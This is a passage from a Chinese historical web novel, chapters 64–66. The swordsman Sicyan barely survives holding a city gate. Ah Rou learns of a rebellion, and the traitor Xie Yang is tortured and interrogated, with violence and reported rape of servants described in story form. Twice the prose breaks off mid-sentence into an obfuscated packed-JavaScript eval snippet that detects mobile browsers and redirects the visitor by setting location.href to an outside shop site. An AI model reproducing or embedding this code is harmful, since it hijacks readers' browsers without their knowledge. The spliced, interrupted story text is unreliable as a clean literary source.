长剑出鞘,于电光火石之间斩下眼前之人的头颅,目光坚定,毫无退缩。 64. 斩断 死守。 所有人的心念之中只剩下了这两个字。 长剑破喉,血喷如柱。司言已经数不清这是死在他剑下的第几个人了。剑刃与剑柄皆已被鲜血染红,身上黑衣也已被汗和血浸透。 过去多久了? 仿佛有几万个春秋那般漫长。 援军何时能到? 理智告诉司言,从城门开战的那一刻起,最多撑上一刻钟,西北铁骑就会如约而至,荡平敌军。 可随着身边之人一个一个倒下,司言却觉得这一刻钟比他的一辈子还要漫长。 倒下的人里,有西北铁骑的先行军,也有与他一同从故渊门出来的同伴。 司言自小就被师父当作太子李焱的继承人培养,师父不准他将时间花费在玩乐之上,整个故渊门,除了叶温遥以外,没有人敢和他一起玩,生怕因此被门主训斥。 那个时候,叶温遥并不知道他的真实身份,更不知道年幼的他身上背负着何等沉重的枷锁。司言心中苦闷,却无从诉说,他便觉得自己是孤独的。 后来,师父离世,他本可以抛却纷繁复杂的身世背景,率性自由地为自己而活。可师父曾经的承诺与他的道德感,却成为了困住司言的第二道枷锁。 师父收留罪臣以后,承诺要为他们洗雪冤情。也许是从小就被教授的君子之道在鼓动,司言到底不愿做那背信弃义之人——即便许下承诺之人本不是他。 惭愧地讲,司言对门中绝大多数弟子并无多大感情,更多的是一种责任。 想来门中弟子也大抵如此,也许他们并非尊崇司言这个年纪轻轻的掌门人,而是用劳动换取自己应得的回报,又或者仅仅只是为了在这偌大的江湖之中寻得一处栖身之所,立命安身。 将他与门中弟子维系在一起的究竟是什么?是责任?是利益?还是一些别的什么东西? 司言没能找到这个问题的答案,所以在此情此景之下,他竟然产生了一丝可耻的动摇。 那一瞬间,他怀疑自己将门中弟子陷入此局,是否真的正确。他所给予的回报,是否配得上他们的牺牲? “门主,当心背后!” 司言的神智陡然回笼,回头看去,瞳孔骤缩——只见闪着森白银光的刀刃正明晃晃地对准他。那出声提醒的故渊门人名唤寒曜,是个十七岁的少年,他竟挡在了司言的身前,试图用血肉之躯接下这一刀! 长刀刺入,血肉撕裂。 即便是这世上最勇猛的战士,也难免会对“死亡”二字心生恐惧。寒曜紧紧闭上了双眼,心神俱颤,可疼痛却迟迟没有落在身上。一股巨大的力量向他袭来,压在身上,将他扑倒在地。 “呃……”寒曜听到身后传来一声隐忍的痛呼。 他连忙睁眼望去,只见司言撑着剑缓缓站起,右肩上多了一道血淋淋的口子。 司言阴沉着脸,继续投入到战场厮杀之中,头也不回地说道:“蠢货,不要随随便便给别人挡刀啊,你的命难道就不是命吗?” “门,门主……”寒曜有一瞬错愕,随后赶忙站起身来,继续奋力杀敌,“是!” 司言的心绪被这么一搅,非但没有安宁下来,反而更加烦躁。 方才若不是他将寒曜扑倒,寒曜真的会因替他挡刀而死! 为什么?为什么要为了他做到这一步? 因他是故渊门门主?因他身上流淌着尊贵的血脉?因他许诺给故渊门中人一个更好的未来? 他身上到底有什么可以为之付出生命的? 有人愿意为了他而牺牲,司言第一反应不是感动,不是欣喜,而是……惶恐。 司言自认为配不上别人的牺牲。 他在心里不断质问自己—— 当初听闻西北情况有异,不远万里,从长祈赶至此处,涉入此局之中,为的究竟是什么? 是为了故渊门多年以来共同展望的大业?可助战西北一事并非承王的要求,也和洗雪门中弟子冤案毫不相干。 赶来西北,是司言自己的选择。 是他这一生,为数不多的,自己的选择。 那么司言,你做出这样的选择,又是为了什么? 是为了情爱吗?只是为了情爱吗? 不,不是这样的…… 司言在心里默念着。 身上的伤痕越来越多,或深或浅,一道又一道。刚开始,司言还能感觉到疼痛,但到后来,痛觉连成一片,剩下的唯有麻木。 将士的拼杀嘶吼声,刀剑相接的碰撞声,以及无数惨叫和哀嚎。种种声音交织在一起,震得人心神俱颤。 司言感觉到自己开始耳鸣,周围发生的一切仿佛都变得虚幻起来。 他知道,自己是失血过多了。 司言剧烈地喘息着,耳中一片嗡鸣,视野也渐渐模糊起来。尽管如此,他只是举着剑,死死守在城门之前。 将要力竭而倒之际,他却突然听到了身后响亮的马蹄声。 这声音越来越近,越来越近…… 是援军来了…… 司言露出了放松的微笑。 这个漫长的夜晚终于要结束了。 …… 司言仿佛落入了一片黑暗之中。 他伸出双手,却触碰不到任何东西。走走停停,来来回回,在这方寸之地盘旋打转。 然后,他听到了一些声音。 那些话语相当耳熟,都是过往记忆中的小小切片。 “你知道吗,很多时候,人一出生,就注定要去做某件事情。你是他唯一的孩子,如果连你都不能为他报仇,还有谁会记得他呢?” “才名艳名皆是过往云烟,待千百年之后,我都化成灰了,要别人的称颂又有何用?人应当为了自己而活。” “你身上流淌着李焱的血,如今却要屈于一个侍妾的私生子的麾下,你甘心?” “……” “阿言,羁鸟和池鱼尚有心归之处,你的归处又是何方呢?” 阿柔那句温柔却又尖锐的疑问,再一次将他钉在原地。 是啊,他的归处是何方呢? 恍惚之间,眼前出现了一抹亮光,以及一个高大清瘦的人影。 司言知道自己是在梦里,因为他又一次看见了这个缠绕住他二十多年的梦魇——他的生父,李焱。 他已经许久没有梦到过李焱了,久到他差点忘了,自己曾经有一段时间天天因其入梦而感到烦闷痛苦。 而眼前的李焱,并不似以往梦中那般温和儒雅。他淡漠地看着司言,神情中流露出一丝不解,“把自己搞得这样狼狈,值得么?” 司言知道在梦里和人拌嘴相当幼稚,但他还是轻笑一声,没好气地道:“你管我?” 李焱叹了口气,带着一丝居高临下的悲悯,说道:“助战西北,于你图谋的愿景而言并无助益。还是说,你不惜牺牲掉这么多门人的性命,只是为了戚家那孩子?” 司言看着眼前这个缠绕着他二十多年的人,片刻之后,突然笑了起来,“哈哈,哈哈哈哈……” 李焱只是静静地看着他,默不作声。 “原来你也会问出这样的问题。”司言笑够了,扬着嘴角说道,“我做这一切是因为什么?” “因为覆巢之下无完卵,倘若西北铁骑当真就此覆灭,哈赤努尔带着赫月蛮族踏足大昭疆域,边陲百姓将民不聊生,迟早有一日会殃及整个大昭。” “因为景西王一辈子忠君爱国,死守边境,整个戚家为了西北边境之安宁,付出了巨大的代价,如此忠臣良将,应当有一个美满的结局。” “因为我是一个活生生的人,不是麻木的傀儡,更不是谁人的附庸。我拥有自己的思想与判断,我知道孰是孰非,孰正孰误。” “为什么?我做这一切是为了什么?”司言仰起脸,直视着一直以来缠绕着自己的梦魇,高声说道,“若不是为了寻找我存活于世的意义,又能是为了什么!” “也许,我是有自己的私心,但我绝不是用别人的牺牲来成全自己。”司言神情坚定,眼神锐利有神,“因为,站在战场上的那一刻,我同样做好了死的准备。” “这些门中弟子都是自愿跟着我来的,我不会强求任何一个人。”司言继续说道,“他们为守护边境而战死,是和西北铁骑一样彪炳千秋的英雄,我绝不允许你用言语玷污他们的牺牲。” 空气陷入一片静默。 过了许久,司言听到眼前之人轻轻地笑了笑,“原来如此。” 不知从什么时候起,李焱面上的淡薄冷漠尽数褪去,取而代之的,是一如以往梦境里的温和模样。他眯着眼笑了起来,宛如春风轻拂,“你看,你已经找到答案了,不是吗?” 司言猛地睁大双眼。可是下一秒,眼前的亮光与人影都消失不见了。 他向前跑去,试图去寻找那个人影,却徒劳无功。 恍惚之中,他又听到了回忆中的声音—— “你做这些是为了什么?别告诉我,你谋划多年,布下这么大一张网,就是为了给别人伸冤?” “不全是为了别人,也是为了我自己。我之所求,是为‘自由’二字。” 是啊,原来,他早就找到答案了。 …… “门主,门主……” 是什么人在叫他? “门主!!!” 怎么感觉吵吵嚷嚷的…… “夜兰姐姐,怎么办啊,不然你打门主一拳试试,看看他会不会醒来。” 呃,最好还是别了…… 司言挣扎着睁开双眼,就看到一双懵懂无知的大眼睛马上就要贴到他的脸上了,吓得他剧烈地颤抖了一下。 “哇!!!!!!”鸦青见他突然睁眼,吓得往后退了好几步,直接摔倒在地。 夜兰:“……” 司言:“……” 司言躺在床上,虚弱地道:“干什么,我还没死呢,就要被你吓醒了。” 鸦青从地上爬了起来,扒住床沿,“门主,你可算是醒了,刚才看你皱着眉头,嘴里不知道在说什么,是做噩梦了吧。” “咳咳,没什么。”司言坐起身来,环顾四周,发现此处正是故渊门的据点,“阿柔呢?” “哦,你说三小姐啊。”鸦青完全没看到夜兰给她使的眼色,“我把箭镞给她取出来之后,她就跑出去了。” “什么?!”司言差点一口血喷出来,“咳咳咳……” 夜兰赶紧上前去给他拍背顺气,“行了,外面伤员那么多,还不够你忙的?” “哦,好吧。”鸦青撇了撇嘴,依依不舍地走了。 鸦青走后,房间里总算是清净了一些。夜兰见司言不再咳嗽,便收回手,站在一边,给他讲城内的情况,“西北铁骑入城之后活捉了谢阳,戚三小姐本来打算帮忙,见你受了伤,就先把你送回来了。” “那她人呢?” “去城外接世子爷了。”夜兰说道,“听说世子爷在上一战伤得很重,现在还没醒。城门一战时,伤兵都安置在十里外的临时营地里,这会儿才整队回城呢。戚三小姐拜托鸦青给世子爷疗伤,估计一会儿就回来了。” 司言点了点头,神情黯淡了几分,“那……门中弟子伤亡如何?” 夜兰叹了口气,回答道:“跟着你一同守城门的弟子,折损了大半… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963857|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 司言听闻,半晌没有说话。过了许久,他深深吸了一口气,强忍着内心翻涌的情绪,“夜兰,帮我整理一份牺牲者的名单,若有亲人在世的,好生抚恤,将来若是遇上什么难处,故渊门定当倾力相助。” “你还没醒的时候,我就已经整出来了。”夜兰说道。 “是吗?多谢,你还是一如既往地靠谱。”司言淡淡地笑了笑。 夜兰见他情绪不高,犹豫片刻,还是说道:“这次战役折了不少兄弟,大家都很难受。但……希望门主不要太过自责。” “我知道的,夜兰。”司言神情之中染上几分哀伤,“但……毕竟是我把他们带来的。” “故渊门很少经历这样凶险的战役。”夜兰叹了口气,说道,“我不会说他们的牺牲是必要的,是值得的,毕竟没人愿意看到朝夕相处的伙伴就这么死去。但是,溯其根源,造成这一切的,应当是引发祸端的谢阳,以及……他背后的林予哲。再说,你从未以门主之身份强迫过任何人,他们都是自愿跟你而去的。” 司言似有触动,瞳仁微微闪烁,“夜兰,有一个问题,我想问你。” “但说无妨。” “我……算是个合格的掌门人吗?”司言看向她。 夜兰怔愣片刻,随即发出了一声疑惑不解的“哈?” 司言默默收回视线,“算了,你就当我没问过。” “倒不是嘲弄的意思,只是难得见你这样伤春悲秋。”夜兰调侃了一句,随即敛了玩笑的神色,认真回答道,“别人怎么想我不清楚,但你知道,我曾经是柳叶门的人。柳叶门强迫我做花楼妓子,色|诱豪强权贵换取情报,暗杀无辜之人。我的身体不再干净,我的手上沾满鲜血。” 夜兰垂下眼眸,看向自己的手,“我时常在想,要是我爹泉下有知,也许会以我为耻吧。在柳叶门的每一天,我都痛不欲生,几欲自戕,是门主找到了我,将我带回故渊门,赐我新生,又许我洗雪先父冤屈的承诺。所以,我情愿为了门主,为了故渊门做任何事,无怨无悔。” “萧大人与先父是旧交,我帮你,也是理所当然的。”听她这一份真诚剖白,司言倒有些不好意思了。 夜兰摇了摇头,“不,这是情怀所致,却不能算作理所当然。我提这些陈年旧事,无非是想告诉你,我是打心眼儿里感念你的恩情,也是发自肺腑地想要为故渊门做些什么。而在门中,拥有我这样想法的人并不在少数。就算是鸦青那丫头,看起来没心没肺,其实一直惦记着你当初帮她亡姐申冤的事呢。” 夜兰继续补充,“还有寒曜,那么大个男孩儿,昨天回来之后哭着说,你为了救他,肩上挨了好深一道口子。” “算不上是为了救他,是这傻子先来救的我……” “我说这些,都是为了让你明白。这些年来,你已经潜移默化地为门中弟子做了许多事,不必怀疑自己。所以……”夜兰恳切地看着他,“快点振作起来吧,司门主。” 司言心中触动,同样真诚地应道:“嗯,我会的。” 正当此时,门口传来声音,“阿言,你醒了!” 司言抬头便见到心上人的面容,连带着心情都舒展了不少,他含着笑点头,“嗯。” 阿柔跑过来,跪坐在床边,担忧地说道:“你觉得好些了吗?” 司言点了点头,嗔怪着道:“我没什么事,反倒是你,怎么刚把箭头取出来就跑出去了,真是吓死我了。若不是西北铁骑及时赶到,你是不是还打算跟着一起守城门呢。” 夜兰看到这两人旁若无人的模样,觉得有些好笑,悄悄站起身来离开了房间,走之前还贴心地关上了门。 阿柔的想法被戳穿,有些心虚地道:“我这手脚俱全的,多少也能算一份战力。” “胡来。”司言捏了捏她的脸颊,“肩下贯穿,你以为是闹着玩的么?若不好生休养,你这左上肢都别想要了。” “我知道。”阿柔拉住他的手,“但你和西北的将士们都在搏命拼杀,我又怎能安于后方?若你出了什么事,我……我只怕是一辈子都难以释怀了。” 司言一怔,觉得心间暖暖的,随即笑道:“能让阿柔惦记一辈子,也算是值了。” “司言!”阿柔面上有几分羞恼,“你再胡说,我就把你丢到城门外面去。” “是我错了,饶了我吧,三小姐。”司言见玩笑开过了,连忙哄劝,可怜巴巴地向她展示着身上的伤痕,“你看,我伤得这样重,三小姐就行行好,多疼我几分吧。” 果不其然,听了这话,阿柔无论如何都生气不起来了。她心疼地看着司言浑身上下缠绕着的绷带,想要伸手触碰,又害怕弄疼了他。 司言心中酸软一片,抚摸她的发顶,轻声说道:“好啦,我不疼。” 阿柔闷闷地道:“你又哄我。” “我的姑娘,我乐意哄。” “……什么你的姑娘。” “阿柔这样说,倒是令我伤心。”司言装模作样地道,“我跟了三小姐这么久,三小姐连一个名分都不肯给我吗?” “你这又是闹的哪一出啊。”阿柔既无奈又好笑地道,“给,我给还不行吗。” “真的?”方才那只是随口说的玩笑话,司言完全没想到阿柔会这么说,眼睛都睁大了。 “自然是真的,等到城内的事情都安排妥当了,我带你去见我爹,怎么样?”阿柔理所当然地道。 “见,见王爷?”司言一下子不会了,舌头都开始打结,“说,说什么……” “就说……”阿柔凑到司言的面前,用双手搂住他的脖子,笑意盈盈地道,“这就是我给自己挑的夫婿呀。” 65. 审问 看着司言绯红的脸颊,阿柔忍不住笑出了声,“你总是逗弄别人,自个儿反而这么不禁逗。” 司言咳了咳,微微偏过头去,嘴硬地道:“阿柔的意思是,方才所说,都是逗我的?” “那倒不是,我说话算话。”阿柔稍微敛了敛调笑的神色,说道,“不过现在,我还有很多问题想问你。” “我知道你心里疑惑,但说无妨。”司言也微微正色。 “你怎么会来宛阳?” 司言早就料到她会问这个,回答说:“阿柔可别忘了,我故渊门向来以遍知天下事之名存于江湖之中。谢阳带兵往西北去的异常举动,自然瞒不过我的眼睛。我便猜到,他的目标,应当就是景西王军。” 阿柔心里还憋了一大堆问题,干脆一股脑全都倒出来了,“你要助承王夺嫡,如今却离开京城单独行动,承王会不会因此而心生不满。还有……西北有异的事,我二哥知道吗?” “西北情况不对,牵涉到你的安慰,我不可能坐视不理。”司言认真地听她说完,一个一个回答,“殿下那里暂时没有需要我亲自出手的场合,故渊门也并非是承王的附属品,我若想来,他无权干涉。况且殿下也知晓边境安宁何等重要,反倒嘱托我尽力相帮。至于戚二哥……我怕他担心,未曾告诉他西北的异动,但怕是瞒不了他多久……” “原来如此。”阿柔看着他,神情中流淌出感激之色来,“此番西北大营之劫,倘若没有故渊门相助,只怕会让贼人得逞。阿言,谢谢你,还有舍命相助的所有故渊门人。” 司言摇了摇头,没有多说什么,面色逐渐凝重起来,“我有件很重要的事情要同你说。” 阿柔见他面色不对,直觉他将要说的事情不会是什么好消息,再联想到谢阳带兵攻打西北大营的怪异举动……阿柔心里有了猜测,“是和林予哲有关?” “嗯,”司言沉重地道,“林予哲起兵谋反,正往长祈而去。” 饶是一早便有了猜想,陡然听到这个消息,阿柔还是难免惊怒,她焦急地问道:“什么时候的事?现在发展到哪一步了?” “你离开后没多久,故渊门就收到林予哲带兵南下的消息。我离开时,他已经占据了河北地区数座城池。”司言尽量冷静清晰地表达着,“恰逢此时又听闻西北情况有异,谢阳本就是林予哲一手扶持上来的,此二人同时行动,必然有一定的关联。我就猜想,许是林予哲忌惮西北边军的力量,害怕边军回防京城,阻碍到他的计划,所以派谢阳来困住西北铁骑的手脚。” 阿柔越听越觉得心中一阵寒凉,她忍不住颤抖起来,眼眶泛红,“所以,西北大营几万将士的命,就只是他林予哲野心膨胀的牺牲品?西北边境百姓视如珍宝一般的和平,就这样轻而易举地被碾碎掉。” 司言见她强行压抑情绪的模样,只觉得一阵心疼,很想将她抱在怀中。事实上,他也的确这样做了。 阿柔被他抱着,小心翼翼地不敢乱动,低声说道:“干什么,你还受着伤呢。” 司言在她耳边轻声道:“我受伤了,抱着你,好得会快些。” “满嘴歪理……”阿柔嘟囔。 她知道司言这是在安慰她,压抑和愤怒的情绪虽不可能一瞬间就释怀,但心头涌上的暖意,多少能抵消掉一点寒意和苦痛。 阿柔是个情感丰盈的人,司言一直都知道这一点。 当初黑云山寨一役,他们望见后山废坑里堆叠着的少女尸骨时,心性坚强的阿柔却毫无征兆地落下了滚烫的泪水。 那不是怯懦与惧怕的眼泪,而是悲悯与善良的证明。 阿柔与那些无辜惨死的少女并不相识,却会为其遭遇而伤怀苦楚,潸然泪下。同样地,在遭受京城权贵的闲言碎语时,她并未有过多气愤,反倒为其感到悲哀。 如此良善之人,在过去行于山河的许多年,见过多少民间疾苦,见过多少强权不公,见过多少无可奈何?她空有悲天悯人之心,却无救民济世之能,真正能救下的人,远没有困于铁板之上苦苦煎熬的人多。 即便如此,在她所爱的家人历经背叛与陷害之时,她仍旧会拿起刀,不惜一切代价也要守护属于她的美好。 阿柔就是如此矛盾的一个人。她不会因为悲悯而在战场之上心慈手软,她通透清醒,却依旧会为了权力博弈催生的无辜惨死而愤怒哀伤。 如此炽热而生动的灵魂。 而每次情绪涌动之后,阿柔又能努力调节回来,就像现在一样。她轻轻推开了司言的怀抱,深呼一口气,神情恢复如常,“林予哲谋反,朝廷可有应对之法?” “应对之法自是有的,只是……”司言语气不甚乐观,“如今大昭朝廷是如何风气,你是知道的。朝中党派林立,势力割据,只怕有些人看不到眼前危机,趁此机会丰满羽翼,又在圣上面前搅弄浑水。” “你说的这些,十有八九真的会发生。”阿柔又烦躁又焦急,“西北边军如今已是自顾不暇,外面还有个哈赤努尔在虎视眈眈,若是回防京城,西北疆土必失,倒真是着了林予哲的道。可恶,明明已经猜到了他的计划,却什么也做不了吗?” “现在的情况,也不算是完全被林予哲牵着鼻子走。”司言宽慰,“在他的计划里,只要西北铁骑被关在宛阳城外,活生生耗死,谢阳就能够一举占据西北区域。届时他再与谢阳的军队两面夹击,长祈城就更加孤立无援了。至少现在,谢阳落在了我们的手上,最坏的情况并没有发生。” 阿柔点了点头,稍微冷静下来一些,“你说得对,现在的局面还算不上回天乏术。我们连他设下的九死一生的圈套都破了,还有什么可怕的?” 说罢,阿柔站起身来,“关于林予哲起兵一事,我得先告诉阿爹。” 司言看着她急匆匆往外跑去,遥遥地喊道:“伤还没好全,慢些跑!” 话还没有说完,阿柔便已不见了踪影。司言无奈地摇了摇头,也不知道她听见这句嘱咐没有。 …… 阿柔听到了,却顾不上那么多,一路狂奔至景西王府,才后知后觉地感受到伤口痛了起来,连带着视野也有些模糊。 她扶着连廊的柱子一阵喘息,忽然听得旁边有人担忧地道:“三娘这是怎么了,快些进屋休息,我去喊大夫来。” 阿柔听到这熟悉的声音,惊喜地抬头望去,“芳姨!” 几日未见,慧芳的脸色肉眼可见地沧桑了几分,身形看着也更为瘦削。 阿柔拉着慧芳的手,心疼地说道:“芳姨,我离开的时候,府上发生了什么?” 慧芳听到这个问题,便想起过去几日的遭遇,鼻头一酸,就要落下泪来,她憔悴地说道:“三娘,都过去了……” 阿柔心中一阵阵不安,追问道:“不,芳姨,你告诉我,谢阳带兵占领王府的时候,都做了些什么?” “他,他……”慧芳终于忍不住哽咽起来,几乎连站都站不稳了,“那天,我不知道发生了什么,突然有一群穿着铠甲的人闯了进来,然后……然后……” “芳姨,你慢慢说,不着急,不着急。”阿柔扶着她坐下,不断地抚着她的背。 “他们闯了进来,一声不吭的,就往咱们的人身上捅刀子!府上的男丁……全都……全都死了!”慧芳说到这里,已然崩溃了。 她面前闪过一幕又一幕,全部都是血红刺目的画面,夹杂着血腥味与尸体腐烂的臭味,不断刺激冲撞着她的神经,喉头顿时涌上一股呕意,慧芳偏过头去,忍不住干呕起来。 “芳姨!”阿柔担忧地呼唤。 悲愤与痛恨的情绪再一次涌上心头,但不一样的是,这一次,阿柔不再感到震惊。 通敌叛国的罪人,勾结反贼的佞臣,要做出什么事,都不奇怪。 区区几十条人命,他们又怎么会在乎? 又怎么……会在乎? 阿柔攥紧了拳头,抱住了这个终日勤勤恳恳、恪守本分,却要见证如此惨痛暴行的可怜妇人,“没事了芳姨,现在安全了,贼人已经被抓住了,不会有人再伤害你们了。我会向他们索命,我一定会向他们索命!” 说到最后,她恨得几乎用尽了全身的力气。 慧芳满脸都是泪水,她抓住阿柔的衣袖,近乎绝望地道:“他们还,他们还……” 阿柔心里揪成一片,一时竟分不清楚是左肩处的伤口更痛,还是心里更痛,她哽咽起来,“他们还怎么了?” “迎巧,莲儿,青玉……”慧芳报着几个名字。阿柔许久未曾回来,这几个人名里,绝大多数都不认得,但她也大致能猜出这些应当是府上的侍女。 阿柔已经想象得到慧芳接下来要说什么了。 她在心中默默祈求着:不要是她想的那样,一定不要是她想的那样。 直到慧芳哭喊道:“这么好的姑娘,他们竟舍得糟践!” 仿佛有一只拳头在阿柔的心上狠狠地砸了一下,仿佛在嘲弄她:你看,你明明已经猜到会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978200|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生什么,又在做什么无谓的幻想? 难不成你要指望着残暴凶悍的匪徒怜香惜玉?难不成你要奢望着淫逸无度的谢阳突然克制住他兽性的欲望? 戚雪柔,你曾说过自己的愿望是游历四方,惩恶扬善,可当这些毫无下限的恶意赤裸裸又血淋淋地摆在你面前的时候,你那颗脆弱的心脏当真能承受得住吗? 她后悔了。刺杀那一夜,她就应该拿刀将谢阳捅个断子绝孙。 阿柔不记得后来是如何安慰慧芳的了,只记得自己将她送回房间后,便找到阿爹,将司言带来的有关林予哲起兵的消息尽数告知。 …… 景西王府的地牢已经许久未曾开放过了,空气潮湿而阴冷,处处都积满了尘土。 牢门守卫见景西王到来,连忙躬身行礼,“王爷。” 戚叶临摆了摆手,示意他不必多礼,径直往地牢内去。那守卫抬起头,才发现景西王身边还跟着个眉目俏丽的少女。他认出那是景西王的女儿戚雪柔,正寻思着要不要补上一声问候,便见她阴沉着一张脸便往牢中走,没有分给他半个眼神。 守卫被这冷若寒霜一般的神情吓得打了个寒战,也就不再自讨没趣地打扰了。 牢中烛火幽暗,不见天日。戚叶临坐于一把太师椅上,不多时,守卫便押来了一个浑身脏污、蓬头垢面的囚犯。 那人正是谢阳。 阿柔站在一旁默然无声,心中却波涛翻涌。她想,若是将他杀了便能解决一切问题,她一定会毫不犹豫地出手。 可如果让他轻易地死去,远不足以偿还几万边军、王府中人以及故渊门人的血海深仇。 守卫强行押着谢阳在戚叶临面前跪下。戚叶临睥睨而视,浑身上下散发着压迫感,一字一句,不慌不忙地道:“通敌叛国,残害同僚,意图谋反……谢阳,我希望你知道自己在做什么。” 谢阳跪倒在地上,气息奄奄,“成王败寇,有什么好说的。” “成王败寇?”戚叶临冷笑一声,“你也配?像你这般背信弃义、玩弄人命之人,即便是奸计得逞,也迟早有血债血偿的一日。史书会赐你恶名永存,百世遭人唾骂,永世不得翻身。” “堂堂景西王到访,就是为了说这个?”谢阳不屑一顾。 戚叶临眼中有暗芒划过,他语气低沉,带着几分威慑的意味,“告诉我,你和林予哲都筹划了些什么?” “我说了,有什么好处?”谢阳耷拉着眼皮看他。 “谢阳,我有必要提醒你,现在的你,没资格跟我谈条件。”戚叶临说道。 “那你就杀了我啊。”谢阳轻蔑一笑。 “我欣赏你的心态,虽然那并没有什么意义。”戚叶临靠在椅背上,做出一副放松的模样来,似是在观赏一件好笑的玩物,“杀了你?你想得也太简单了。在你还完欠下的所有债之前,我怎么会杀了你呢。” “怎么,世人眼中奉公不阿的景西王戚叶临,也会滥用私刑吗?”谢阳不以为意。 “看起来,你很想试试?”戚叶临挑眉。 “你……”谢阳心中有些动摇,开始怀疑戚叶临是否真的会动用私刑。 林予哲一手扶持他当上连远道节度使,曾许诺他一个权高位重的未来。谢阳一早便知此路凶险,也做好了付出代价的准备,但他远没有忠诚到为了林予哲守口如瓶,即便遭受刑罚折磨也不松口的地步。 但是……一向高风亮节的景西王真的会动用私刑吗?莫不是故意说狠话来诓骗他的吧…… 就在这时,站在一旁的阿柔适时开口,她的语气中带着几分天真,“阿爹,你看吧,我就说他只是林予哲手底下的一枚棋子,被人家使唤着玩儿的,能知道些什么?” 谢阳这时才注意到站在戚叶临身后的阿柔,只觉她的眉眼有几分熟悉,“你是……呵,你就是那日的女刺客,我倒是不知道,王爷竟教出这么个抛头露面、不知羞耻的女儿来……啊!” 戚叶临一脚踹在谢阳的心口上,语气带着阵阵寒意,“再用你那恶心的腔调玷污我的女儿,我就把你的舌头割下来。” “咳咳咳……”谢阳趴倒在地,一阵剧烈地咳嗽,继而沙哑着声音道,“我现在倒是有点相信了,你会用什么手段来对付我呢?” “既然你这么好奇,不如现在就试试吧。”戚叶临说道,“来人!” 地牢守卫纷纷围了上来,将谢阳钳制住。 “上刑。”戚叶临冷漠无情地宣告。 66. 军师 再次见到谢阳,已是三日之后。 此时的谢阳,相较于三日之前,简直是判若两人。 他身上的灰色囚服都被血浸透了,衣料破烂不堪,其上全是刀刃的划痕。囚服下的皮肤已是溃烂不堪,流着脓疮,没有一块地方是好的。而那些细如针孔一般,密密麻麻,却难以用肉眼观之的伤,就不知道还有多少了。 谢阳哪里还有六万节度使兵统领的模样,他形销骨立,几乎已经不成人形,气息奄奄地倒在草席之上,浑身上下散发着死气。 戚叶临原是不想再带阿柔来一次地牢的,毕竟没有哪个父亲愿意让女儿看到自己手段阴狠的一面。 但到了审问那日,阿柔还是跟着来了。 戚叶临知道,阿柔也有想从谢阳那里知道的答案,他没再多说什么,而是默许了阿柔的跟随。 谢阳听到牢门处传来开门的声音,条件反射地以为行刑的时间又到了,他瑟缩在角落里,吓得直发抖,喑哑的嗓音挤出几声难听的嘶鸣。 “怎么了?”戚叶临走到他身前,踢了踢他的脸,“前几日不是还耀武扬威的么?怎么,这就受不了了?” 自从上次命令守卫上刑之后,这三日以来,戚叶临没有来过一次。而地牢之中不见天日,也就感受不到时间的流逝,谢阳几乎以为戚叶临真的打算这样将他折磨致死。 听到戚叶临的声音之后,谢阳猛地颤抖了一下,抓住他的袍角,“我说,我都说,我把我知道的都告诉你,你停手吧……” 戚叶临嗤笑一声,说道:“我当你有多么铁骨铮铮,原来也不过如此。不过我有必要提醒你,你可以通过出卖同伙的方式来使自己免于苦难,但前提是你给出的东西有足够的价值。” 戚叶临坐下,继续说道:“告诉我,你和哈赤努尔是怎么勾结到一起的?” “是我派人扮作胡商的模样,去了赫月部族,找人牵线搭桥,见到了哈赤努尔。”谢阳已经被磨平了所有锋芒,整个人宛如一具牵线木偶一般,旁人说什么便答什么,全无当初的意气。 “哈赤努尔不会平白无故答应你的请求,说说看,你许诺了他什么?”戚叶临又问。 “我……许诺给他,景西王及景西世子的首级,还有……西北边境五座城。” 阿柔攥紧了拳头,强忍住动手的冲动,目光愤恨地盯着谢阳。若是目光能化作刀剑,谢阳已经被千刀万剐许多遍了。 相比之下,戚叶临较为沉稳一些,他嗤笑一声,说道:“你许诺给他,他便信?” “总之……他答应了。”谢阳说道。 “答应,当然要答应,为什么不答应?”戚叶临道,“若我是哈赤努尔,听到敌国将领设计陷害自己亲族的兵马,怕是半夜都会笑醒吧。” “我没想着真的要把城池送给他!”谢阳狡辩。 “你是想事成之后再反悔?”阿柔终于忍不住出言嘲讽道,“边境遭到重创,就凭你的脑子,别说是五座城,就算是十座,他也抢得走。” 谢阳不吭声了。 戚叶临继续说道:“自打赫月六部蠢蠢欲动,屡次骚扰西北大营,我便已封锁了连通大昭与赫月部族的必经之路。你派人扮作胡商去寻哈赤努尔,最起码是去年的事情,看来早有预谋。那么,林予哲谋反,又是从何时开始筹划的呢?” “我不知道他究竟是从什么时候起了谋反的心思,他最开始扶持我,也只是为了在军方安插势力,以此来和梁朝越抗衡。”谢阳回答道,“他第一次将计划告知于我,让我协助他,是在前年。” 阿柔回想起过去这两年发生的事,问道:“所以,去年定州疫病,也是林予哲指使你做的?” 谢阳神情愕然,“你们连这个都猜到了。” 戚叶临说道:“他是怎么跟你说的?” “林予哲想要制造一场灾难,散布传言,说当今圣上德不配位,以至于天神震怒,降灾于世。”谢阳回答,“恰逢定州地动,正处于连远道附近地界,林予哲便让我将做了手脚的干粮送去定州,又提前派人将定州附近医馆中能治这病的药草全都买走。” 阿柔深吸一口气,“所以后来,长祈城仙君庙走水,烧了一整条街,这也是林予哲做的?” “是。” “那么多人无辜惨死,就只是为了散布有关天家的流言?!” 